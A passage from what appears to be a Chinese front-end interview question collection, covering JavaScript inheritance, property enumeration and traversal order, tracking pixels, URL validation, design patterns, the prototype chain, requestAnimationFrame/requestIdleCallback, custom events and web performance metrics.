Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

Child.prototype = Object.create(Parent.prototype);
Child.prototype.constructor = Child;

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child
  • 寄生组合继承:通过寄生方式,砍掉父类的实例属性,这样,在调用两次父类的构造的时候,就不会初始化两次实例方法/属性,避免的组合继承的缺点
function Parent(name) {
  this.name = name;
}

Parent.prototype.sayHello = function() {
  console.log('Hello, I am ' + this.name);
};

function Child(name) {
  Parent.call(this, name);
}

function inheritPrototype(child, parent) {
  var prototype = Object.create(parent.prototype);
  prototype.constructor = child;
  child.prototype = prototype;
}

inheritPrototype(Child, Parent);

var child = new Child('Child');
child.sayHello(); // Output: Hello, I am Child

# 117 有四个操作会忽略enumerable为false的属性

⚡ 30 秒速记

  • for...in 循环:遍历自身和原型链上的可枚举属性
  • Object.keys():只返回自身可枚举的字符串键
  • JSON.stringify():只序列化自身可枚举的字符串键
  • Object.assign():只拷贝自身可枚举的属性(包括 Symbol 键)
  • 想拿到不可枚举属性用 Object.getOwnPropertyNames(),想拿全部(含 Symbol)用 Reflect.ownKeys()
  • 实际意义:ES6 有意把所有原型上的方法设为不可枚举,这样 for...in 就不会遍历到它们
  • 用 Object.defineProperty 定义属性时,enumerable 默认是 false(直接赋值则是 true),这是个常见坑

for...in、Object.keys()、JSON.stringify() 和 Object.assign() 都会忽略 enumerable 为 false 的属性。 区别在于,for...in 会遍历自身及原型链上的可枚举属性,而另外三种操作只处理对象自身的可枚举属性。实际使用时要注意,属性明明存在却没出现在遍历结果、序列化文本或拷贝对象里,通常就需要检查它的 enumerable 描述符。

  • for...in循环:只遍历对象自身的和继承的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

for (var key in obj) {
  console.log(key); // Output: prop1, prop2
}
  • Object.keys():返回对象自身的所有可枚举的属性的键名。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var keys = Object.keys(obj);
console.log(keys); // Output: ["prop1", "prop2"]
  • JSON.stringify():只串行化对象自身的可枚举的属性。
var obj = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(obj, 'prop3', {
  value: 'value3',
  enumerable: false
});

var json = JSON.stringify(obj);
console.log(json); // Output: "{"prop1":"value1","prop2":"value2"}"
  • Object.assign(): 忽略enumerable为false的属性,只拷贝对象自身的可枚举的属性。
var source = {
  prop1: 'value1',
  prop2: 'value2'
};

Object.defineProperty(source, 'prop3', {
  value: 'value3',
  enumerable: false
});

var target = {};
Object.assign(target, source);

console.log(target); // Output: { prop1: 'value1', prop2: 'value2' }

在以上示例中,enumerable 属性为 false 的属性 prop3 在遍历、获取键名、序列化、拷贝等操作中都被忽略了。

# 118 属性的遍历

⚡ 30 秒速记

  • 五种方式,按"是否含原型链 / 是否含不可枚举 / 是否含 Symbol"三个维度区分
  • for...in:自身 + 原型链的可枚举字符串键
  • Object.keys():自身可枚举字符串键
  • Object.getOwnPropertyNames():自身全部字符串键(含不可枚举)
  • Object.getOwnPropertySymbols():自身全部 Symbol 键
  • Reflect.ownKeys():自身全部键(字符串 + Symbol,含不可枚举)—— 最全
  • 遍历顺序规则:先按升序排列的整数键,再按插入顺序排列的字符串键,最后按插入顺序的 Symbol 键
  • 这个顺序规则解释了为什么 { b:1, 2:2, a:3, 1:4 } 的 keys 是 ['1','2','b','a']

对象属性的遍历方式,核心区别是是否包含原型链、不可枚举属性和 Symbol 键。 for...in 会遍历自身及继承的可枚举字符串键,Object.keys() 只返回自身的可枚举字符串键。需要查看不可枚举键时用 Object.getOwnPropertyNames(),只取 Symbol 键用 Object.getOwnPropertySymbols(),最完整的是 Reflect.ownKeys()。这些方式都按数值键升序、字符串键加入顺序、Symbol 键加入顺序遍历。

ES6提供了5种方法用于遍历对象的属性,它们分别是for...in、Object.keys()、Object.getOwnPropertyNames()、Object.getOwnPropertySymbols()和Reflect.ownKeys()。这些方法在遍历对象属性时都遵循相同的次序规则

  • for...in for...in循环遍历对象自身的和继承的可枚举属性(不含 Symbol 属性)。
  • Object.keys(obj) Object.keys返回一个数组,包括对象自身的(不含继承的)所有可枚举属性(不含 Symbol 属性)的键名。
  • Object.getOwnPropertyNames(obj) Object.getOwnPropertyNames返回一个数组,包含对象自身的所有属性(不含 Symbol 属性,但是包括不可枚举属性)的键名。
  • Object.getOwnPropertySymbols(obj) Object.getOwnPropertySymbols返回一个数组,包含对象自身的所有 Symbol 属性的键名。
  • Reflect.ownKeys(obj) Reflect.ownKeys返回一个数组,包含对象自身的(不含继承的)所有键名,不管键名是 Symbol 或字符串,也不管是否可枚举。

以上的 5 种方法遍历对象的键名,都遵守同样的属性遍历的次序规则。

  • 首先遍历所有数值键,按照数值升序排列。
  • 其次遍历所有字符串键,按照加入时间升序排列。
  • 最后遍历所有 Symbol 键,按照加入时间升序排列。
const obj = {
  [Symbol()]: 'symbol',
  b: 'b',
  10: '10',
  2: '2',
  a: 'a'
};

// for...in
for (let key in obj) {
  console.log(key); // Output: 2, 10, b, a
}

// Object.keys()
const keys = Object.keys(obj);
console.log(keys); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertyNames()
const propertyNames = Object.getOwnPropertyNames(obj);
console.log(propertyNames); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertySymbols()
const symbols = Object.getOwnPropertySymbols(obj);
console.log(symbols); // Output: [Symbol()]

// Reflect.ownKeys()
const allKeys = Reflect.ownKeys(obj);
console.log(allKeys); // Output: ["2", "10", "b", "a", Symbol()]

在上述示例中,对象obj的属性遍历次序为首先数值属性2和10,然后是字符串属性b和a,最后是Symbol属性。

需要注意的是,for...in只会遍历可枚举属性且会包括继承的属性,而Object.keys()、Object.getOwnPropertyNames()、Object.getOwnPropertySymbols()和Reflect.ownKeys()只会遍历对象自身的属性,不包括继承的属性

# 119 为什么通常在发送数据埋点请求的时候使用的是 1x1 像素的透明 gif 图片

⚡ 30 秒速记

  • 不受同源策略限制:img 加载天然跨域,不需要服务端配 CORS
  • 不阻塞页面:img 是异步加载,不影响渲染
  • 兼容性最好:所有浏览器和环境都支持,不依赖 JS 的高级 API
  • 体积最小:1x1 透明 GIF 只有 43 字节,比同尺寸 PNG(约 68 字节)还小
  • 不会触发复杂请求和预检,且天然是 GET
  • 页面卸载时仍可能发出(虽然不保证)
  • 现代更好的方案:navigator.sendBeacon() —— 专为埋点设计,页面卸载时也能可靠发出,浏览器会在后台完成;不支持时再降级到 gif
  • 也可以用 fetch 配 keepalive: true 达到类似效果

埋点使用 1x1 透明 GIF,是因为它能用很小的成本发起完整的跨域 HTTP GET 请求。 图片加载天然支持跨域,不需要处理复杂配置,页面也不用解析返回数据。请求是异步、非阻塞的,不会因为上报而卡住页面后续执行。选择透明的 1x1 GIF 还能避免影响界面,并把图片本身体积控制得很小,适合大量统计请求。

  1. 完成整个HTTP请求+响应:使用GIF图片可以触发完整的HTTP请求+响应流程,尽管在埋点请求中不需要获取和处理响应内容。这样可以确保埋点请求按照正常的HTTP流程发送,并且服务器也能正常地接收和处理请求
  2. 无需获取和处理数据:GIF图片作为埋点请求,不需要获取和处理返回的数据。它只是简单地发送一个GET请求,不需要等待响应或处理响应内容,因此能够快速地完成请求并继续执行后续的代码
  3. 跨域友好:由于GIF图片是通过<img>标签加载的,而<img>标签在浏览器中天然支持跨域请求,因此使用1x1像素的透明GIF图片发送埋点请求可以轻松地实现跨域请求,无需关注跨域限制和复杂的配置
  4. 无阻塞执行:埋点请求通常是为了收集用户行为或统计数据,对于页面的性能和用户体验来说,不应该影响页面的加载和执行速度。由于GIF图片请求是异步的且无阻塞的,页面可以继续加载和执行其他代码,不会因为发送埋点请求而产生阻塞
  5. 性能优化:相比使用XMLHttpRequest对象发送GET请求,使用1x1像素的透明GIF图片能够在性能上更加高效。GIF图片的体积最小,仅需要43个字节(最小的BMP文件需要74个字节,PNG需要67个字节,而合法的GIF,只需要43个字节),而且在网络传输中通常会进行gzip压缩,进一步减小传输的数据量,这对于大规模的数据埋点和统计是非常有利的

综上所述,使用1x1像素的透明GIF图片作为数据埋点请求具有简单、快速、跨域友好、无阻塞等优势,使得它成为常用的数据埋点方式之一

# 120 在输入框中如何判断输入的是一个正确的网址

⚡ 30 秒速记

  • 首选 URL 构造函数:try { new URL(str); return true } catch { return false } —— 用浏览器自己的解析器,最准确
  • 注意 new URL('abc') 会失败但 new URL('/a', base) 会成功,判断绝对 URL 要检查有没有协议
  • 更新的 API:URL.canParse(str)(返回布尔值,不用 try/catch)
  • 正则方案只适合快速粗筛,写全 URL 规范的正则极其复杂且容易漏
  • 业务上通常还要额外限制:只允许 http/https 协议(防 javascript: 伪协议的 XSS)、可选的域名白名单
  • 安全提醒:拿用户输入的 URL 做跳转前一定要校验协议和域名,否则是开放重定向漏洞

判断输入是否为正确网址,我一般优先用 URL 对象解析,解析失败就认为格式不合法。 实现时用 try...catch 包住 new URL(url),成功返回 true,抛出异常则返回 false。正则表达式适合限制必须以 http 或 https 开头、域名结构等业务格式,但规则写得过严容易误判。要求更严格时,可以先用正则做格式筛选,再交给 URL 对象解析。

判断输入的内容是否为正确的网址有多种方式,以下是几种常见的方式:

1. 使用正则表达式判断

function isUrlUsingRegex(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url);
}

2. 使用URL对象进行解析

function isUrlUsingURL(url) {
  try {
    new URL(url);
    return true;
  } catch (error) {
    return false;
  }
}

3. 使用正则表达式和URL对象的结合判断

function isUrlUsingRegexAndURL(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url) && isUrlUsingURL(url);
}

综上所述,判断输入的内容是否为正确的网址可以通过正则表达式匹配、URL对象进行解析,或者两者结合使用。使用正则表达式可以简单地验证网址的格式是否正确,而使用URL对象可以更严谨地验证网址的各个组成部分是否有效。选择哪种方式取决于具体的需求和使用场景。

# 122 常用设计模式有哪些并举例使用场景

⚡ 30 秒速记

  • 与第 18 题同考点
  • 单例:全局状态管理、弹窗管理器、数据库连接池 —— ES module 天然单例
  • 观察者/发布订阅:事件总线、Vue 响应式、DOM 事件
  • 工厂:按类型创建不同组件、axios.create()
  • 策略:用映射表替代大段 if-else,如表单校验规则、支付方式选择
  • 代理:Vue 3 响应式、图片懒加载、接口缓存
  • 装饰器:HOC、日志埋点、权限校验
  • 责任链:axios 拦截器、Koa/Express 中间件
  • 举真实项目的例子比背定义有说服力得多

前端常用设计模式可以归为对象创建、消息通信、行为切换和功能增强几类。 工厂模式适合按参数创建不同支付对象,单例模式适合全局配置这类只需一个实例的对象。发布订阅或观察者模式常用于事件总线和响应式数据,但要注意及时取消订阅,避免对象一直被保留。策略模式可以切换排序算法,装饰模式则能在不修改原对象的前提下增加日志或性能监测能力。

  • 工厂模式:
    • 使用场景:当需要根据不同的参数创建不同类型的对象时,可以使用工厂模式。例如,根据用户的选择创建不同类型的支付方式对象。
    • 优点:封装了对象的创建过程,客户端只需关注传入参数即可获取所需对象,降低了耦合度。
    • 缺点:增加了代码的复杂性,需要额外编写工厂方法。
class PaymentFactory {
createPayment(type) {
  switch (type) {
    case 'credit':
      return new CreditPayment();
    case 'debit':
      return new DebitPayment();
    default:
      throw new Error('Invalid payment type');
  }
}
}

const paymentFactory = new PaymentFactory();
const creditPayment = paymentFactory.createPayment('credit');
const debitPayment = paymentFactory.createPayment('debit');
  • 单例模式:
    • 使用场景:当整个系统中只需要一个实例时,可以使用单例模式。例如,全局的系统配置对象。
    • 优点:确保只有一个实例存在,提供了全局访问点,避免了重复创建实例。
    • 缺点:对扩展不友好,单例的实例化和使用耦合在一起。
class SystemConfig {
  constructor() {
    // Initialize system configuration
  }

  static getInstance() {
    if (!SystemConfig.instance) {
      SystemConfig.instance = new SystemConfig();
    }
    return SystemConfig.instance;
  }
}

const config = SystemConfig.getInstance();
  • 发布-订阅模式:
    • 使用场景:当存在多个对象之间需要进行解耦的消息通信时,可以使用发布-订阅模式。例如,实现一个事件总线用于组件间的通信。
    • 优点:解耦了对象之间的通信,订阅者只需关注自己感兴趣的事件,发布者不需要关心具体的订阅者。
    • 缺点:容易造成内存泄漏,需要手动取消订阅,否则订阅者会一直存在。
const EventBus = {
  events: {},

  subscribe(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
  },

  publish(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(callback => callback(data));
    }
  },

  unsubscribe(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
  }
};

// 订阅事件
EventBus.subscribe('userLoggedIn', handleUserLoggedIn);

// 发布事件
EventBus.publish('userLoggedIn', { username: 'poetry' });

// 取消订阅事件
EventBus.unsubscribe('userLoggedIn', handleUserLoggedIn);
  • 观察者模式:
    • 使用场景:当一个对象的状态发生变化时,需要通知其他依赖该对象的对象进行相应操作时,可以使用观察者模式。例如,实现一个数据的双向绑定功能。
    • 优点:解耦了对象之间的关系,被观察者和观察者之间松耦合,可以动态添加和移除观察者。
    • 缺点:增加了对象之间的相互依赖关系,可能导致系统复杂度增加。
class Observable {
  constructor() {
    this.observers = [];
  }

  addObserver(observer) {
    this.observers.push(observer);
  }

  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }

  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    // Perform necessary actions with the data
  }
}

const observable = new Observable();
const observer1 = new Observer();
const observer2 = new Observer();

observable.addObserver(observer1);
observable.addObserver(observer2);

// Notify observers
observable.notify({ message: 'Data updated' });

// Remove observer
observable.removeObserver(observer2);
  • 装饰模式:
    • 使用场景:当需要在不修改原始对象的情况下,动态地给对象添加额外的功能时,可以使用装饰模式。例如,给一个基本的组件添加日志记录或性能监测的功能。
    • 优点:遵循开放封闭原则,不需要修改原始对象的结构,可以灵活地添加或移除功能。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class Component {
  operation() {
    // Perform the component's operation
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }

  operation() {
    // Add additional functionality
    this.component.operation();
  }
}

// Create an instance of the component
const component = new Component();

// Create a decorated component
const decoratedComponent = new Decorator(component);

// Call the operation on the decorated component
decoratedComponent.operation();
  • 策略模式:
    • 使用场景:当需要根据不同的情况选择不同的算法或策略时,可以使用策略模式。例如,根据用户选择的不同排序方式对数据进行排序。
    • 优点:简化了条件语句的复杂度,将算法封装成独立的策略类,方便扩展和维护。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class SortingStrategy {
  sort(data) {
    // Perform the sorting algorithm
  }
}

class BubbleSortStrategy extends SortingStrategy {
  sort(data) {
    // Implement bubble sort algorithm
      console.log('Bubble sort applied');
    // Perform bubble sort algorithm
  }
}
class QuickSortStrategy extends SortingStrategy {
  sort(data) {
      console.log('Quick sort applied');
      // Perform quick sort algorithm
    }
  }
  class Sorter {
    constructor(strategy) {
      this.strategy = strategy;
  }
  setStrategy(strategy) {
    this.strategy = strategy;
  }

  sort(data) {
    this.strategy.sort(data);
  }
}

// Create sorting strategies
const bubbleSort = new BubbleSortStrategy();
const quickSort = new QuickSortStrategy();

// Create sorter and set initial strategy
const sorter = new Sorter(bubbleSort);

// Sort using current strategy
sorter.sort(data);

// Change strategy
sorter.setStrategy(quickSort);

// Sort using new strategy
sorter.sort(data);

总结

  • 工厂模式 - 传入参数即可创建实例
    • 虚拟 DOM 根据参数的不同返回基础标签的 Vnode 和组件 Vnode
  • 单例模式 - 整个程序有且仅有一个实例
    • vuex 和 vue-router 的插件注册方法 install 判断如果系统存在实例就直接返回掉
  • 发布-订阅模式 (vue 事件机制)
  • 观察者模式 (响应式数据原理)
  • 装饰模式: (@装饰器的用法)
  • 策略模式 策略模式指对象有某个行为,但是在不同的场景中,该行为有不同的实现方案-比如选项的合并策略

# 122 原型链判断

⚡ 30 秒速记

  • 判断实例与构造函数的关系:obj instanceof Fn —— 沿原型链找 Fn.prototype
  • 判断某个对象是否在原型链上:Fn.prototype.isPrototypeOf(obj)
  • 取原型:Object.getPrototypeOf(obj)(标准写法,别用 __proto__)
  • 判断自有属性 vs 继承属性:Object.hasOwn(obj, key)(现代写法)或 obj.hasOwnProperty(key)
  • 几个必背等式:obj.__proto__ === Fn.prototype;Fn.prototype.constructor === Fn;Object.prototype.__proto__ === null
  • 经典绕人题:Function.__proto__ === Function.prototype(函数也是 Function 的实例);Object.__proto__ === Function.prototype
  • 第 3 题有原型链的可视化演示,可以直接爬给你看

结果依次是 null、Object.prototype、Function.prototype、true、true 和 true。 本质上,Object 和 Function 自身都是函数对象,所以它们会关联到 Function.prototype。而 Function.prototype 的原型是 Object.prototype,原型链最终再以 null 收尾。遇到这类题,我会沿着 __proto__ 逐层查找,避免只背零散结论。

请写出下面的答案

Object.prototype.__proto__;
Function.prototype.__proto__;
Object.__proto__;
Object instanceof Function;
Function instanceof Object;
Function.prototype === Function.__proto__;

答案

Object.prototype.__proto__; //null
Function.prototype.__proto__; //Object.prototype
Object.__proto__; //Function.prototype
Object instanceof Function; //true
Function instanceof Object; //true
Function.prototype === Function.__proto__; //true

这道题目深入考察了原型链相关知识点 尤其是 Function 和 Object 的之间的关系

# 123 RAF 和 RIC 是什么

⚡ 30 秒速记

  • requestAnimationFrame(RAF):在浏览器下一次重绘之前执行回调,与屏幕刷新率同步。用来做动画,页面不可见时自动暂停
  • requestIdleCallback(RIC):在浏览器空闲时段执行回调,可传 timeout 兜底。用来做低优先级任务(埋点上报、预加载、日志)
  • 回调参数:RAF 拿到时间戳;RIC 拿到 IdleDeadline,用 deadline.timeRemaining() 判断还剩多少空闲时间,主动让出主线程
  • 执行时机:RAF 在重绘前、布局之后;RIC 在一帧的所有工作做完还有剩余时间时
  • 兼容性:RIC 在 Safari 上支持较晚,通常用 setTimeout 兜底
  • 实际应用:React 早期用 RIC 做时间切片,后来因为触发不稳定改成了基于 MessageChannel 的自研调度器 —— 能说出这点很加分

requestAnimationFrame 在下次重绘前执行回调,requestIdleCallback 则把低优先级任务安排到浏览器空闲时执行。 前者跟随屏幕刷新节奏,适合更新动画和操作 DOM,能减少无意义的重复绘制。后者可通过 deadline.timeRemaining() 判断剩余时间,把长任务拆开处理,避免影响关键交互。多个空闲回调通常先进先出,但设置 timeout 后,为避免超时可能改变执行顺序。

  • requestAnimationFrame: 告诉浏览器在下次重绘之前执行传入的回调函数(通常是操纵 dom,更新动画的函数);由于是每帧执行一次,那结果就是每秒的执行次数与浏览器屏幕刷新次数一样,通常是每秒 60 次。
  • requestIdleCallback:: 会在浏览器空闲时间执行回调,也就是允许开发人员在主事件循环中执行低优先级任务,而不影响一些延迟关键事件。如果有多个回调,会按照先进先出原则执行,但是当传入了 timeout,为了避免超时,有可能会打乱这个顺序

下面是 requestAnimationFrame 和 requestIdleCallback 的示例代码:

requestAnimationFrame

当使用 requestAnimationFrame 实现动画时,通常需要更新 DOM 元素的属性来创建平滑的动画效果。以下是一个使用 requestAnimationFrame 的简单示例代码:

function animate() {
  const element = document.getElementById('myElement');
  const position = parseInt(element.style.left) || 0;
  const speed = 2;

  // 更新元素位置
  element.style.left = position + speed + 'px';

  // 检查是否到达目标位置
  if (position < 200) {
    // 请求下一帧动画
    requestAnimationFrame(animate);
  }
}

// 开始执行动画
requestAnimationFrame(animate);

在上面的代码中,animate 函数用于执行动画操作。在每一帧动画中,我们通过获取元素的当前位置,增加一个速度值,然后更新元素的位置。在这个例子中,我们通过改变 left 属性来实现水平移动的动画效果。

在每一帧动画结束后,我们检查是否到达了目标位置(这里假设目标位置为左侧 200px 的位置),如果没有到达目标位置,我们再次请求下一帧动画,从而创建连续的动画效果。

通过使用 requestAnimationFrame,可以实现流畅的动画效果,并且能够与浏览器的重绘周期同步,避免了过度绘制的问题。这样可以提供更好的性能和用户体验。

requestIdleCallback

function processIdleTasks(deadline) {
  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && tasks.length > 0) {
    // 执行低优先级任务
    const task = tasks.shift();
    task();
  }

  if (tasks.length > 0) {
    // 如果还有任务未完成,继续请求下一次 idle callback
    requestIdleCallback(processIdleTasks);
  }
}

// 添加低优先级任务
function addTask(task) {
  tasks.push(task);

  // 如果当前没有请求进行中,则请求下一次 idle callback
  if (tasks.length === 1) {
    requestIdleCallback(processIdleTasks);
  }
}

// 低优先级任务列表
const tasks = [];

// 添加低优先级任务
addTask(function() {
  console.log('Task 1');
});

addTask(function() {
  console.log('Task 2');
});

addTask(function() {
  console.log('Task 3');
});

在上面的代码中,requestIdleCallback 用于执行低优先级任务。首先定义了一个 processIdleTasks 函数,它会在浏览器空闲时间内执行任务。在函数内部,通过 deadline.timeRemaining() 方法判断是否还有空闲时间可用,并且任务队列不为空时,循环执行低优先级任务。如果还有未完成的任务,会继续请求下一次 idle callback。

然后,通过 addTask 函数向低优先级任务列表中添加任务。当添加任务时,如果当前没有请求进行中,则请求下一次 idle callback 来执行任务。

通过使用 requestIdleCallback,可以在浏览器空闲时间内执行低优先级任务,而不会影响一些延迟关键事件的执行。这有助于提高应用程序的性能和响应能力。

# 124 js自定义事件

⚡ 30 秒速记

  • 创建:new CustomEvent('myEvent', { detail: {...}, bubbles: true, cancelable: true })
  • 触发:element.dispatchEvent(event)
  • 监听:element.addEventListener('myEvent', e => console.log(e.detail))
  • detail 是携带自定义数据的标准字段
  • bubbles 默认 false,要冒泡必须显式设 true(自定义事件常见的"监听不到"就是忘了这个)
  • 老 API Document.createEvent + initEvent 已废弃,别用
  • 应用场景:Web Components 内部向外通知、跨模块解耦通信、微前端子应用间通信
  • 与自己实现的 EventEmitter 相比:CustomEvent 能利用 DOM 的冒泡和捕获机制,天然支持事件委托

自定义事件通常先用 new Event() 创建,再通过 element.dispatchEvent() 分发,并用 addEventListener() 监听。 如果使用旧写法,则由 document.createEvent() 创建事件,再调用 initEvent() 设置名称、是否冒泡和是否可取消。现代构造函数写法更简单直观,通常不需要再调用 initEvent()。需要注意,事件只会在被分发后触发,是否能向上层传播取决于冒泡配置。

三要素: document.createEvent() event.initEvent() element.dispatchEvent()

在 JavaScript 中,可以使用以下三个要素来创建和触发自定义事件:

  1. document.createEvent(): 这个方法用于创建一个新的事件对象。可以使用不同的方法根据需要创建不同类型的事件对象,例如 createEvent('Event')、createEvent('CustomEvent') 等。这个方法已经过时,推荐使用更现代的方式创建事件对象,如下文所示。
  2. Event 构造函数:这是现代的方式来创建事件对象。可以使用 new Event(eventName) 创建一个新的事件对象,其中 eventName 是自定义事件的名称。
  3. event.initEvent(): 对于使用 document.createEvent() 创建的事件对象,可以调用 initEvent(eventName, bubbles, cancelable) 方法进行初始化。其中 eventName 是事件名称,bubbles 是一个布尔值,表示事件是否冒泡,cancelable 是一个布尔值,表示事件是否可以被取消。
  4. element.dispatchEvent(): 这个方法用于触发自定义事件。可以将创建好的事件对象通过调用 dispatchEvent(event) 方法分派到指定的 DOM 元素上,从而触发相应的事件处理程序。

下面是一个示例,演示如何使用这三个要素来创建和触发自定义事件:

// 创建自定义事件对象
const event = new Event('customEvent');

// 初始化事件对象(可选)
event.initEvent('customEvent', true, true);

// 获取要触发事件的元素
const element = document.getElementById('myElement');

// 触发自定义事件
element.dispatchEvent(event);

在上述示例中,首先使用 Event 构造函数创建了一个名为 'customEvent' 的自定义事件对象。然后,可以选择使用 initEvent() 方法对事件对象进行初始化,指定事件名称、冒泡和取消属性。

最后,通过 getElementById() 方法获取要触发事件的元素,并调用 dispatchEvent() 方法将自定义事件对象分派到该元素上,从而触发自定义事件。

请注意,这里使用的是现代的事件创建和触发方法,而不是使用过时的 createEvent() 方法。这是因为现代的方法更加简单直观,并且具有更好的性能。

# 125 前端性能定位、优化指标以及计算方法

⚡ 30 秒速记

  • 核心指标(Core Web Vitals):LCP 最大内容绘制 < 2.5s、INP 交互到下次绘制 < 200ms(2024 年已取代 FID)、CLS 累积布局偏移 < 0.1
  • 其它常用:FP/FCP 首次(内容)绘制、TTFB 首字节时间、TBT 总阻塞时间、TTI 可交互时间
  • 采集方式:PerformanceObserver 监听各类 entry;Navigation Timing API 拿导航各阶段耗时;web-vitals 库封装好了全部指标
  • 计算举例:TTFB = responseStart - requestStart;DOM 解析完成 = domContentLoadedEventEnd - fetchStart
  • 定位工具:Lighthouse 做实验室数据、Performance 面板抓火焰图找长任务、Coverage 面板看未使用代码占比
  • 真实用户监控(RUM)比实验室数据更有价值 —— 上报 P75 分位数而不是平均值
  • 答题技巧:讲清"先测量定位再优化"的方法论,别一上来就列优化手段

前端性能定位要把真实监控、分析工具和关键指标结合起来,不能只列优化手段。 我一般用 Performance 看时间轴、网络和长任务,再用 Lighthouse 获取整体评估;线上则通过埋点或 window.performance 收集数据。指标保留 LCP、FCP、FID 和 CLS,分别观察主要内容呈现、首次内容绘制、首次输入延迟和布局稳定性。采集时可用 PerformanceObserver,也可用 web-vitals 简化处理,但真实环境仍需持续监测。

前端性能优化 已经是老生常谈的一项技术了 很多人说起性能优化方案的时候头头是道 但是真正的对于性能分析定位和性能指标这块却一知半解 所以这道题虽然和性能相关 但是考察点在于平常项目如何进行性能定位和分析

  • 我们可以从 前端性能监控-埋点以及 window.performance相关的 api 去回答
  • 也可以从性能分析工具 Performance 和 Lighthouse
  • 还可以从性能指标 LCP FCP FID CLS 等去着手

下面是关于前端性能定位、优化指标以及计算方法的一些信息:

  1. 前端性能监控和埋点:通过在关键点上埋点,可以监控网页的加载时间、资源请求、错误等关键性能指标。常用的前端性能监控工具包括自定义的日志记录、第三方服务(如Google Analytics、Sentry等)和开源工具(如Fundebug、Tongji.js等)。此外,window.performance API提供了性能数据,可以通过它获取更详细的性能指标,如页面加载时间、资源加载时间等。

  2. 性能分析工具:使用性能分析工具可以深入分析网站的性能瓶颈,并提供有针对性的优化建议。其中两个常用的工具是:

  • Performance:现代浏览器提供的内置性能分析工具,可通过浏览器开发者工具访问。它提供了时间轴记录、CPU、内存和网络分析等功能,帮助开发者找到性能瓶颈并进行优化。
  • Lighthouse:由Google开发的开源工具,可用于自动化测试网页性能,并提供综合的性能报告。它评估网页在多个方面的性能表现,并给出相应的优化建议。
  1. 性能指标:性能指标是用于衡量网站性能的关键指标,常用的指标包括:
  • LCP(Largest Contentful Paint):标识页面上最大的可见内容加载完成的时间,衡量用户可见内容的加载速度。
  • FCP(First Contentful Paint):表示页面上第一个内容元素(如文字、图片)呈现的时间,标识页面加载的起点。
  • FID(First Input Delay):测量从用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
  • CLS(Cumulative Layout Shift):测量页面上元素布局的稳定性,即元素在页面加载过程中发生的意外移动的累积量。
  • TTFB(Time To First Byte):表示从发起请求到接收到第一个字节的时间,衡量服务器响应速度。
  • TTI(Time To Interactive):表示页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
  • TBT(Total Blocking Time):衡量页面在加载过程中存在的阻塞时间总和,即浏览器忙于处理 JavaScript 执行而导致无法响应用户输入的时间。

这些指标可以通过性能分析工具或浏览器开发者工具来获得。优化这些指标有助于提升页面加载速度、响应性和用户体验。

以下是这些指标的计算方法和示例代码:

1. LCP(Largest Contentful Paint):

  • 计算方法:监测到页面上的最大可见元素(如图片、视频等)加载完成的时间点。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'largest-contentful-paint') {
        console.log('LCP:', entry.renderTime || entry.loadTime);
    }
    }
});
observer.observe({ type: 'largest-contentful-paint', buffered: true });

2. FCP(First Contentful Paint):

  • 计算方法:测量页面上第一个内容元素(如文字、图片)呈现的时间。
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
    if (entry.entryType === 'paint' && entry.name === 'first-contentful-paint') {
        console.log('FCP:', entry.startTime);
    }
    }
});
observer.observe({ type: 'paint', buffered: true });

3. FID(First Input Delay):

  • 计算方法:
    • 测量用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
    • 计算两个时间点之间的差值,即为 FID。
document.addEventListener('DOMContentLoaded', () => {
    const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.entryType === 'first-input' && entry.startTime < 5000) {
        console.log('FID:', entry.processingStart - entry.startTime);
        }
    }
    });
    observer.observe({ type: 'first-input', buffered: true });
});

4. CLS(Cumulative Layout Shift):

  • 计算方法:监测到页面上元素布局发生变化时,记录布局变化的量。将所有布局变化的量累积起来,即为 CLS。
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === 'layout-shift') {
      console.log('CLS:', entry.value);
    }
  }
});
observer.observe({ type: 'layout-shift', buffered: true });

5. TTFB(Time To First Byte):

  • 计算方法:
    • 记录发起请求的时间点。
    • 监测到接收到第一个字节的时间点。
    • 计算两个时间点之间的差值,即为 TTFB。
const startTime = performance.now();
fetch('https://example.com')
  .then((response) => {
    const endTime = performance.now();
    const duration = endTime - startTime;
    console.log('TTFB:', duration);
    return response;
  });

6. TTI(Time To Interactive):

  • 计算方法:测量页面变得可交互的时间,即用户可以进行操作和与页面进行交互的时间点。
    • 监测到页面上的关键元素加载完成的时间点。
    • 监测到所有关键脚本的执行完成的时间点。
    • 监测到用户首次与页面交互的时间点。
    • 计算这些时间点之间的最大值,即为 TTI。
function calculateTTI() {
    const longTasks = performance.getEntriesByType('longtask');
